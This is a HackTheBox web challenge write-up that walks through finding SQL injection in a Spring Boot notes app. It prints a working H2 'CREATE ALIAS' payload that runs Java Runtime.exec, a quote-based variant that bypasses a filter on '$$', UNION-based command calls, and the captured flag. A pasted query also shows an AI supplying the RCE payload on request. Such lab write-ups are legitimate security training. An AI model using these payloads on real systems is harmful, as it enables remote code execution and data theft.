Skip to main content

HackTheBox Challenge Pentest Notes (Web)

Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」

login

Just a simple login page. Registered an account and logged in.

dashboard

Intercepting the requests in Burp, I saw it’s fetching notes from /api/notes:

HTTP/1.1 200 
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 242

[
  {
    "Content": "One  ' to rule them all",
    "Note": "SQL Injection",
    "ID": 1
  },
  {
    "Content": "Script alert 1 !!!!!!!!!",
    "Note": "Cross Site Scripting",
    "ID": 2
  },
  {
    "Content": "IDK, can you tell me?                   ¯\\_(ツ)_/¯",
    "Note": "Skill issue",
    "ID": 3
  }
]

Clicked on the first note (SQL Injection) and checked Burp:

sqli_note

HTTP/1.1 200 
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 4515

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Note Display</title>
    <link rel="stylesheet" href="/Css/note.css">
    <style>
        ...
    </style>
</head>
<body>
<div class="app">
    ...
</div>
<script>
    document.addEventListener('DOMContentLoaded', function () {
        const urlParams = new URLSearchParams(window.location.search);
        const nameParam = urlParams.get('name');

        if (nameParam) {
            const formData = new FormData();
            formData.append('name', nameParam);

            fetch('/api/note', {
                method: 'POST',
                body: formData
            })
                .then(response => {
                    if (!response.ok) {
                        throw new Error('Network response was not ok');
                    }
                    return response.json(); // Parse response as JSON
                })
                .then(data => {
                    const checklist = document.getElementById('checklist');
                    checklist.innerHTML = ''; // Clear previous content

                    if (data.length === 0) {
                        checklist.innerHTML = '<p>No checklist items available.</p>';
                    } else {
                        data.forEach(item => {
                            const checklistItem = document.createElement('div');
                            checklistItem.classList.add('checklist__item');

                            const itemTitle = document.createElement('div');
                            itemTitle.classList.add('checklist__item-title');
                            itemTitle.textContent = `ID: ${item.ID}`;

                            const itemContent = document.createElement('div');
                            itemContent.innerHTML = `Name: ${item.Name}<br>Note: ${item.Note}`; // Use innerHTML for line break

                            checklistItem.appendChild(itemTitle);
                            checklistItem.appendChild(itemContent);

                            checklist.appendChild(checklistItem);
                        });
                    }
                })
                .catch(error => {
                    console.error('Error fetching note data:', error);
                });
        } else {
            console.error('No "name" parameter found in the URL.');
        }
    });
</script>

</body>
</html>

Interesting - the HTML fetches from /api/note with a POST request, but the browser navigates to /note?name=<name> with GET. Let me test the API endpoint directly:

HTTP/1.1 405 
Allow: POST
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Content-Length: 284
Keep-Alive: timeout=60
Connection: keep-alive

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Sat May 24 12:16:26 UTC 2025</div><div>There was an unexpected error (type=Method Not Allowed, status=405).</div></body></html>

Ah, needs POST. Changed the method in Burp Repeater:

HTTP/1.1 200 
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 2

[]

Time to test for SQLi. Sent name=a':

HTTP/1.1 500 
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Content-Length: 287
Connection: close

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Sat May 24 12:19:26 UTC 2025</div><div>There was an unexpected error (type=Internal Server Error, status=500).</div></body></html>

500 error! Definitely SQL injection. Based on the Java/Spring Boot stack, this is likely an H2 database. H2 has a neat trick where you can create SQL functions that execute Java code:

-- query: I'm currently learning to exploit a Java webapp with H2 database. I found that it is vulnerable to SQLi. What is a payload that I can try to RCE?
-- response:
'; 
CREATE ALIAS SHELL AS
$$ String shell(String cmd) throws java.io.IOException {
     java.util.Scanner s = new java.util.Scanner(
         Runtime.getRuntime().exec(cmd).getInputStream()
     ).useDelimiter("\\A");
     return s.hasNext() ? s.next() : "";
} $$; 
-- 

The $$ creates a function that we can call to execute commands. But wait - when I tried it, got blocked with “Bad character in name :)”. Turns out $$ is filtered, but we can use single quotes ' instead:

name='; 
CREATE ALIAS SHELL AS
' String shell(String cmd) throws java.io.IOException {
     java.util.Scanner s = new java.util.Scanner(
         Runtime.getRuntime().exec(cmd).getInputStream()
     ).useDelimiter("\\A");
     return s.hasNext() ? s.next() : "";
} ';--

Got a 200 response - the function was created. Now let’s call it:

name=a'UNION+SELECT+1,2,SELECT+SHELL('whoami');--

Command execution achieved! Now to find the flag:

HTTP/1.1 200 
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 67

[{"Note":"mvnw\nmvnw.cmd\npom.xml\nsrc\ntarget\n","ID":1,"Name":2}]

Checked the parent directory:

HTTP/1.1 200 
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 161

[{"Note":"JN8fe3XRqTYK_flag.txt\napp\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n","ID":1,"Name":2}]

There’s a flag file with a random prefix! Reading it:

HTTP/1.1 200 
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 68

[{"Note":"HTB{y0u_w1ll_n33d_a_ch3ckl1st_f0r_sUr3}","ID":1,"Name":2}]

Flag: HTB{y0u_w1ll_n33d_a_ch3ckl1st_f0r_sUr3}

Related